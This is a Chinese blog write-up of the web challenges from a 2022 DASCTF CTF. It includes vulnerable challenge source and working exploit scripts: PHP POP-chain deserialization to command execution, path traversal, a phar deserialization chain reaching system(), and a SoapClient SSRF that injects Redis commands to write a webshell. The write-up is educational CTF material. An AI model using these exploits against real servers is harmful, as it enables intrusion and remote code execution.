• DASCTF X GFCTF 2022十月挑战赛web


    前言

    晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。

    EasyPOP

    考察php的pop链,这题相比之下算是web中的签到题了。看题目源码:

    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. class fine
    4. private $cmd;
    5. private $content;
    6. public function __construct($cmd, $content)
    7. {
    8. $this->cmd = $cmd;
    9. $this->content = $content;
    10. }
    11. public function __invoke()
    12. {
    13. call_user_func($this->cmd, $this->content);
    14. }
    15. public function __wakeup()
    16. {
    17. $this->cmd = "";
    18. die("Go listen to Jay Chou's secret-code! Really nice");
    19. }
    20. }
    21. class show
    22. {
    23. public $ctf;
    24. public $time = "Two and a half years";
    25. public function __construct($ctf)
    26. {
    27. $this->ctf = $ctf;
    28. }
    29. public function __toString()
    30. {
    31. return $this->ctf->show();
    32. }
    33. public function show(): string
    34. {
    35. return $this->ctf . ": Duration of practice: " . $this->time;
    36. }
    37. }
    38. class sorry
    39. {
    40. private $name;
    41. private $password;
    42. public $hint = "hint is depend on you";
    43. public $key;
    44. public function __construct($name, $password)
    45. {
    46. $this->name = $name;
    47. $this->password = $password;
    48. }
    49. public function __sleep()
    50. {
    51. $this->hint = new secret_code();
    52. }
    53. public function __get($name)
    54. {
    55. $name = $this->key;
    56. $name();
    57. }
    58. public function __destruct()
    59. {
    60. if ($this->password == $this->name) {
    61. echo $this->hint;
    62. } else if ($this->name = "jay") {
    63. secret_code::secret();
    64. } else {
    65. echo "This is our code";
    66. }
    67. }
    68. public function getPassword()
    69. {
    70. return $this->password;
    71. }
    72. public function setPassword($password): void
    73. {
    74. $this->password = $password;
    75. }
    76. }
    77. class secret_code
    78. {
    79. protected $code;
    80. public static function secret()
    81. {
    82. include_once "hint.php";
    83. hint();
    84. }
    85. public function __call($name, $arguments)
    86. {
    87. $num = $name;
    88. $this->$num();
    89. }
    90. private function show()
    91. {
    92. return $this->code->secret;
    93. }
    94. }
    95. if (isset($_GET['pop'])) {
    96. $a = unserialize($_GET['pop']);
    97. $a->setPassword(md5(mt_rand()));
    98. } else {
    99. $a = new show("Ctfer");
    100. echo $a->show();
    101. } ?>

    代码比较长,但是好懂,最终漏洞触发点是为fine类中的call_user_func函数,达到任意函数调用,链子也比较简单:

    1. sorry:__destruct() -> show:__toString() -> secret_code:call() -> secret_code:show() ->
    2. sorry:__get -> fine : __invoke

    这里防止我们调用的函数为空,需要绕过wakeup,常规绕过就是属性值大于原有值,这里看wp学习另一种绕过方式,fast_destruct,常规的执行顺序:(wake_up -> __desturct)

    我们去掉一个大括号,让它强制先执行__destruct方法,但是这个方法在只有一个类是不适用的。

    这一题还是比较简单的,直接上exp。

    1. class fine{
    2. private $cmd='passthru';
    3. private $content='ls';
    4. function __construct(){
    5. }
    6. }
    7. class show{
    8. public $ctf;
    9. public function __construct(){
    10. //$this->ctf=new secret_code();
    11. }
    12. }
    13. class sorry{
    14. private $name=1;
    15. private $password=1;
    16. public $hint;
    17. public $key;
    18. public function __construct(){
    19. $this->hint = new show();
    20. $this->key= new fine();
    21. }
    22. }
    23. class secret_code{
    24. protected $code;
    25. public function __construct(){
    26. $this->code=new sorry();
    27. }
    28. }
    29. $a = new sorry();
    30. $a->hint->ctf=new secret_code();
    31. $str = serialize($a);
    32. $str1 = str_replace('fine":2','fine":5',$str);
    33. echo urlencode(($str1));
    34. ?>

    因为这一题的php版本为php7,对类属性不敏感,所以把私有属性全都改为public编写exp会更简单。

    hade_waibo

    这道题网上查到最多的就是非预期解法。

    随便注册一个用户名进去后有三个功能,上传,删除和搜索。我们在搜索功能上发现可以任意读文件,也就是这里存在非预期,直接目录穿越读取start.sh,payload为:

    file.php?m=show&filename=…/…/…/…/start.sh

    这个文件有flag的文件名,再利用任意文件读取漏洞读出flag就行了。这个方法很巧妙,但是学不到什么东西,看官方wp放的预期解:

    把网站源码读出来,一共有三个php文件,代码一共太多了,这里只放关键代码,这里我们利用class.php的User类和Test类,

    1. class User
    2. {
    3. public $username;
    4. public function __construct($username){
    5. $this->username = $username;
    6. $_SESSION['isLogin'] = True;
    7. $_SESSION['username'] = $username;
    8. }
    9. public function __wakeup(){
    10. $cklen = strlen($_SESSION["username"]);
    11. if ($cklen != 0 and $cklen <= 6) {
    12. $this->username = $_SESSION["username"];
    13. }
    14. }
    15. public function __destruct(){
    16. if ($this->username == '') {
    17. session_destroy();
    18. }
    19. }
    20. }

    Test类:

    1. class Test
    2. {
    3. public $value;
    4. public function __destruct(){
    5. chdir('./upload');
    6. $this->backdoor();
    7. }
    8. public function __wakeup(){
    9. $this->value = "Don't make dream.Wake up plz!";
    10. }
    11. public function __toString(){
    12. $file = substr($_GET['file'],0,3);
    13. file_put_contents($file, "Hack by $file !");
    14. return 'Unreachable! :)';
    15. }
    16. public function backdoor(){
    17. if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
    18. $this->value = 'nono~';
    19. }
    20. system($this->value);
    21. }
    22. }

    Test类有我们的system敏感函数,但是过滤了字母数字,这两个类可以反序列化,另外也有文件包含,所以我们可以通过上传phar文件来执行这个system函数,另外参数value在__wakeup函数会被赋值,这里我们要用的User类了,我们可以让Test类中的value属性去引用User类中的地址,那么就可以通过修改username的值来间接控制value的内容,在User类的__wakeup函数有个赋值操作

    $_SESSION["username"]就是我们注册的用户名,所以赋值操作我们可控,那么剩下一个问题,我们怎么在过滤字母数字的情况下执行linux命令,可以用. ./*来执行当前目录下的文件。linux中可以用点来执行任意shell文件,那么通过网站的上传功能上传一个shell文件,然后再注册一个用户名为. ./*的用户,上传一个phar文件来触发反序列化,话不多说,开始实操,嘿嘿

    通过上传界面上传写入ls /命令的shell文件。

    接下来就是注册一个. ./*的用户名,编写exp

    1. class User{
    2. public $username;
    3. }
    4. class Test
    5. {
    6. public $value;
    7. }
    8. $b=new User();
    9. $a=new Test();
    10. $b->username=new Test();
    11. $b->aaa=$a;
    12. $a->value=&$b->username;
    13. $phar = new Phar("abcd.phar");
    14. $phar->startBuffering();
    15. $phar->setStub("");
    16. $phar->setMetadata($b);
    17. $phar->addFromString("test.txt", "test");
    18. $phar->stopBuffering();
    19. ?>

    这里看exp有个问题,为什么User类要新增一个属性去实例化Test类,这里看到一位师傅的博客(DASCTF X GFCTF 2022十月挑战赛!_递归 trash can的博客-CSDN博客)解释的比较详细,我自己也在本地测试看看生成的序列化串,

    这是正常的,

    这里的value属性就没有引用了,所以新加的属性是为了让value能够引用的,直接上传phar文件,

    最后利用网站的搜索功能,用phar伪协议读取,

    这里是成功执行命令了。同时出现了flag文件,通过任意文件读取获得flag。

    EasyLove

    题目描述就给了hint,让我们打redis数据库,好家伙,看题目源码:

    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. class swpu{
    4. public $wllm;
    5. public $arsenetang;
    6. public $l61q4cheng;
    7. public $love;
    8. public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
    9. $this->wllm = $wllm;
    10. $this->arsenetang = $arsenetang;
    11. $this->l61q4cheng = $l61q4cheng;
    12. $this->love = $love;
    13. }
    14. public function newnewnew(){
    15. $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    16. }
    17. public function flag(){
    18. $this->love->getflag();
    19. }
    20. public function __destruct(){
    21. $this->newnewnew();
    22. $this->flag();
    23. }
    24. }
    25. class hint{
    26. public $hint;
    27. public function __destruct(){
    28. echo file_get_contents($this-> hint.'hint.php');
    29. }
    30. }
    31. $hello = $_GET['hello'];
    32. $world = unserialize($hello);

    有个hint类可以读取hint.php,先写个序列化串看一下提示吧,

    1. class hint{
    2. public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
    3. }
    4. $a = new hint();
    5. echo serialize($a);
    6. ?>

    这里要用绝对路径,不然读取不出来。

    这里写的20220311就是redis数据库的密码了。我们怎么去访问redis数据库,别急,这里还有个swpu类,

    实例化任意类,那么我们可以利用某些原生类,结合题目描述打内网redis数据库,我们能用的原生类就只有SoapClient,

    这里会调用一个不存在的方法,正好可以触发SoapClient原生类的call方法,那么利用条件满足。

    我们知道SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组,在非wsdl模式下,必须设置location和uri选项,其他可选。我们可以通过uri选项向内网redis发指令写木马。

    1. AUTH 20220311 //验证客户端链接
    2. CONFIG SET dir /var/www/html //设置写入的目录
    3. SET x '' //设置写入的内容
    4. CONFIG SET dbfilename cmd.php //设置写入的文件名
    5. SAVE //保存结束

    redis一般在主机的6379开启服务,编写exp:

    1. $target = "http://127.0.0.1:6379";
    2. $option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x ''\r\nCONFIG SET dbfilename cmd.php\r\nSAVE\r\nhello");
    3. class swpu{
    4. public $wllm;
    5. public $arsenetang;
    6. public $l61q4cheng;
    7. public $love;
    8. public function __construct()
    9. {
    10. $this->wllm = "SoapClient";
    11. $this->arsenetang = Null;
    12. }
    13. }
    14. $aa = new swpu();
    15. $aa->l61q4cheng = $option;
    16. echo urlencode(serialize($aa));
    17. ?>

    打入payload后在web目录下访问cmd.php,

    用蚁剑连接。 查看flag文件,有大小打开却没有东西,那肯定就是无权限了,使用date命令将flag给带出来。

    最终得到flag。

    BlogSystem

    最后一个题目,感觉考的知识点好多啊,复现起来也比较困难,在此就不写上自己的题解了,贴上出题人pysnow师傅的文章DASCTF10月赛出题笔记 BlogSystem - Pysnow's Blog写的真的非常详细。

  • 相关阅读:
    数据库性能翻3倍:Redis on Flash分层存储技术是如何做到的?
    Scrapy第七篇:数据存储(ORM框架采用peewee)
    近2万签名的句子网络签名ACCESS\EXCEL数据库
    菏泽2万亩谷子收割 国稻种芯·中国水稻节:山东节水抗旱稻
    java.io.IOException: Broken pipe
    当低代码遇上私有化部署,真是赞爆了!
    网站被DDOS攻击怎么办?防护经验!
    一文了解HarmonyOSNEXT发布重点内容
    springboot 从环境变量读取配置的流程
    Leetcode 907. 子数组的最小值之和
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/127553366